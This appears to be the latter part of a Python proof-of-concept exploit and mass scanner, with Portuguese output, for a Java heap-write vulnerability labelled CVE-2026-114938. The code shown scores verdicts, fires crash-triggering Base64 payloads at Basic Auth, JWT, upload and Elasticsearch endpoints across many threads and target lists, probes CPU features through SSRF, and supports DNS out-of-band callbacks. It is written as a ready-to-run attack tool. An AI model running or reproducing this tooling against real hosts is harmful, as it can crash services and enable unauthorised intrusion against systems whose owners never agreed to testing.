# Verdict + confidence
# ---------------------------------------------------------------------------
def _compute_verdict(fp, auth_results, bearer_results, upload_results=None):
all_results = auth_results + bearer_results + (upload_results or [])
indicators = [r["indicator"] for r in all_results]
confidence = 0
if "CRASH" in indicators:
return "VULNERAVEL", "JVM crash - conexao recusada/resetada apos trigger", 95
if "HEAP_ERROR" in indicators:
return "VULNERAVEL", "heap corruption triggered - 500 com JVM error signature", 90
if "TIMING_ANOMALY" in indicators:
confidence += 25
ver = fp.get("java_version")
if ver:
v = _is_version_vulnerable(ver)
if v is True:
confidence += 40
fw = fp.get("framework")
if fw:
confidence += 10
if "REJECTED_EXPLICIT" in indicators:
return "POSSIVELMENTE_CORRIGIDO", \
f"Java {ver} no range vulneravel mas Base64 rejeitado antes do decode", \
max(0, confidence - 50)
if confidence >= 50:
return "POSSIVELMENTE_VULNERAVEL", \
f"Java {ver} no range vulneravel; sem crash detectado (host sem AVX-512 ou corruptoo silenciosa)", \
confidence
return "POSSIVELMENTE_VULNERAVEL", \
f"Java {ver} no range vulneravel (nenhum endpoint testavel gerou crash)", \
confidence
elif v is False:
return "CORRIGIDO_OU_NAO_AFETADO", \
f"Java {ver} fora do range vulneravel", \
5
if "REJECTED_EXPLICIT" in indicators:
return "POSSIVELMENTE_CORRIGIDO", \
"validacao explicita de Base64 rejeita input malformado", \
max(0, 30 - confidence)
if confidence > 0:
return "POSSIVELMENTE_VULNERAVEL", \
"sinais parciais detectados (timing anomaly)", \
confidence
return "INDETERMINADO", \
"sinais insuficientes - sem versao Java e sem crash observado", \
0
# ---------------------------------------------------------------------------
# Main scan logic
# ---------------------------------------------------------------------------
def _scan_target(target, port, scheme, timeout, proxy, verify):
base_url = f"{target}:{port}" if port else target
result = {
"target": target,
"timestamp": datetime.now().isoformat(),
"cve": "CVE-2026-114938",
"vulneravel": False,
"verdict": "INDETERMINADO",
"confidence": 0,
"reason": "",
"java_version": None,
"framework": None,
"server": None,
"avx512": None,
"indicators": [],
"endpoints_found": [],
"erro": "",
}
try:
_log("RECON", f"Fingerprinting {base_url}", "Cy")
fp = _fingerprint(base_url, scheme, timeout, proxy, verify)
result["java_version"] = fp["java_version"]
result["framework"] = fp["framework"]
result["server"] = fp["server"]
result["endpoints_found"] = fp["endpoints_found"]
ver_color = "X"
if fp["java_version"]:
v = _is_version_vulnerable(fp["java_version"])
ver_color = "R" if v else "G"
_log("INFO",
f"Java: {C[ver_color]}{fp['java_version'] or 'N/A'}{C['X']} | "
f"Framework: {fp['framework'] or 'desconhecido'} | "
f"Server: {fp['server'] or 'N/A'}", "W")
payloads = _build_trigger_payloads()
if _DNS_CALLBACK:
payloads += _dns_callback_payloads(_DNS_CALLBACK)
_log("DNS", f"DNS callback payloads gerados para {_DNS_CALLBACK}", "Cy")
_log("PROBE", f"Basic Auth - {len(payloads)} payloads em 12 paths...", "Y")
auth_res = _test_basic_auth(base_url, scheme, payloads, timeout, proxy, verify)
_log("PROBE", "Bearer/JWT - endpoints API...", "Y")
bearer_res = _test_bearer_token(base_url, scheme, payloads, timeout, proxy, verify)
_log("PROBE", "Form upload endpoints...", "Y")
upload_res = _test_form_upload(base_url, scheme, payloads, timeout, proxy, verify)
# Only probe Elasticsearch if fingerprint suggested it
es_res = []
if fp.get("framework") == "Elasticsearch":
_log("PROBE", "Elasticsearch Basic Auth...", "Y")
es_res = _test_elasticsearch(base_url, scheme, payloads, timeout, proxy, verify)
all_indicators = set(
r["indicator"]
for r in auth_res + bearer_res + upload_res + es_res
if r["indicator"] not in ("unknown", "SKIP")
)
result["indicators"] = sorted(all_indicators)
avx512 = _probe_avx512_ssrf(base_url, scheme, timeout, proxy, verify)
result["avx512"] = avx512
if avx512 is not None:
_log("CPU", f"AVX-512 VBMI via SSRF: {avx512}", "Y" if avx512 else "D")
verdict, reason, confidence = _compute_verdict(fp, auth_res, bearer_res, upload_res)
result["verdict"] = verdict
result["reason"] = reason
result["confidence"] = confidence
result["vulneravel"] = verdict == "VULNERAVEL"
except KeyboardInterrupt:
raise
except Exception as e:
result["erro"] = str(e)
result["verdict"] = "ERRO"
return result
def _print_verdict(r):
v = r["verdict"]
colors = {
"VULNERAVEL": "R",
"POSSIVELMENTE_VULNERAVEL": "Y",
"POSSIVELMENTE_CORRIGIDO": "D",
"CORRIGIDO_OU_NAO_AFETADO": "G",
"INDETERMINADO": "D",
"ERRO": "D",
}
cor = colors.get(v, "W")
conf = r.get("confidence", 0)
_log(v, f"{r['target']} [{conf}%] - {r['reason']}", cor)
def _print_summary_table(resultados):
if not resultados:
return
sep = "+" + "-" * 30 + "+" + "-" * 26 + "+" + "-" * 14 + "+" + "-" * 7 + "+"
hdr = f"| {'Alvo':<28} | {'Veredicto':<24} | {'Java':<12} | {'Conf%':<5} |"
print(f"\n{C['D']}{sep}{C['X']}")
print(f"{C['N']}{hdr}{C['X']}")
print(f"{C['D']}{sep}{C['X']}")
colors = {
"VULNERAVEL": "R",
"POSSIVELMENTE_VULNERAVEL": "Y",
"POSSIVELMENTE_CORRIGIDO": "D",
"CORRIGIDO_OU_NAO_AFETADO": "G",
"INDETERMINADO": "D",
"ERRO": "D",
}
for r in resultados:
v = r["verdict"]
cor = colors.get(v, "W")
t = r["target"][:28]
verd = v[:24]
java = (r.get("java_version") or "N/A")[:12]
conf = str(r.get("confidence", 0))
row = f"| {t:<28} | {C[cor]}{verd:<24}{C['X']} | {java:<12} | {conf:<5} |"
print(f" {row}")
print(f"{C['D']}{sep}{C['X']}")
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
_HELP = """\033[92mModos de uso:\033[0m
\033[1m--target HOST\033[0m Alvo unico (IP ou dominio)
\033[1m--targets-file FILE\033[0m Lista de alvos (um por linha)
\033[92mOpcoes de deteccao:\033[0m
\033[1m--port PORT\033[0m Porta (default: 443/80)
\033[1m--scheme SCHEME\033[0m http ou https (default: https)
\033[1m--timeout N\033[0m Timeout por request (default: 10)
\033[1m--proxy URL\033[0m Proxy HTTP
\033[1m--no-verify\033[0m Nao verificar TLS
\033[92mOpcoes de output:\033[0m
\033[1m--verbose\033[0m Mostrar requests/respostas detalhados
\033[1m--save-evidence DIR\033[0m Salvar responses brutas em diretorio
\033[1m--dns-callback DOMAIN\033[0m Dominio para DNS OOB callback
\033[1m--threads N\033[0m Threads para scan em massa (default: 10)
\033[1m--output FILE\033[0m Salvar resultado em JSON
\033[1m--no-banner\033[0m Suprimir banner
\033[92mExemplos:\033[0m
python poc.py --target target.com
python poc.py --target 10.10.10.5 --port 8080 --scheme http --verbose
python poc.py --target alvo.com --save-evidence ./evidencias --dns-callback xyz.burpcollaborator.net
python poc.py --targets-file alvos.txt --threads 20 --output resultado.json
\033[2mCVE-2026-114938 | Java OOB Heap Write | CVSS 9.2\033[0m
"""
def main():
global _VERBOSE, _SAVE_DIR, _DNS_CALLBACK
p = argparse.ArgumentParser(
prog="poc",
description=f"CVE-2026-114938 Java4Shell PoC v{VERSAO} | By Gh0st-Bx1",
epilog=_HELP,
formatter_class=argparse.RawDescriptionHelpFormatter,
)
p.add_argument("--target", metavar="HOST")
p.add_argument("--targets-file", metavar="FILE")
p.add_argument("--port", type=int, default=0)
p.add_argument("--scheme", default="https", choices=["http", "https"])
p.add_argument("--timeout", type=int, default=10)
p.add_argument("--proxy", default=None)
p.add_argument("--no-verify", action="store_true")
p.add_argument("--verbose", action="store_true")
p.add_argument("--save-evidence", metavar="DIR")
p.add_argument("--dns-callback", metavar="DOMAIN")
p.add_argument("--threads", type=int, default=10)
p.add_argument("--output", metavar="FILE")
p.add_argument("--no-banner", action="store_true")
args = p.parse_args()
if not args.no_banner:
print(_build_banner())
if not args.target and not args.targets_file:
p.print_help()
sys.exit(1)
_VERBOSE = args.verbose
_DNS_CALLBACK = args.dns_callback
if args.save_evidence:
_SAVE_DIR = args.save_evidence
os.makedirs(_SAVE_DIR, exist_ok=True)
_log("EVIDENCE", f"Salvando responses em {_SAVE_DIR}", "Cy")
targets = []
if args.target:
targets.append(args.target)
if args.targets_file:
with open(args.targets_file) as f:
targets += [l.strip() for l in f if l.strip() and not l.startswith("#")]
port = args.port or (443 if args.scheme == "https" else 80)
verify = not args.no_verify
_log("START", f"{len(targets)} alvo(s) | threads={args.threads} | "
f"scheme={args.scheme} | port={port}", "G")
resultados = []
if len(targets) == 1:
r = _scan_target(targets[0], port, args.scheme, args.timeout,
args.proxy, verify)
_print_verdict(r)
resultados.append(r)
else:
with ThreadPoolExecutor(max_workers=args.threads) as ex:
futures = {
ex.submit(_scan_target, t, port, args.scheme, args.timeout,
args.proxy, verify): t
for t in targets
}
for fut in as_completed(futures):
r = fut.result()
_print_verdict(r)
resultados.append(r)
vulns = [r for r in resultados if r["vulneravel"]]
possiveis = [r for r in resultados if "POSSIVELMENTE_VULNERAVEL" in r.get("verdict", "")]
_print_summary_table(resultados)
_log("RESUME",
f"Total: {len(resultados)} | "
f"{C['R']}VULNERAVEL: {len(vulns)}{C['X']} | "
f"{C['Y']}POSSIVELMENTE: {len(possiveis)}{C['X']} | "
f"OUTROS: {len(resultados) - len(vulns) - len(possiveis)}",
"W")
if args.output:
with open(args.output, "w") as f:
json.dump(resultados, f, indent=2, default=str)
_log("OUTPUT", f"Resultados salvos em {args.output}", "G")
if __name__ == "__main__":
main()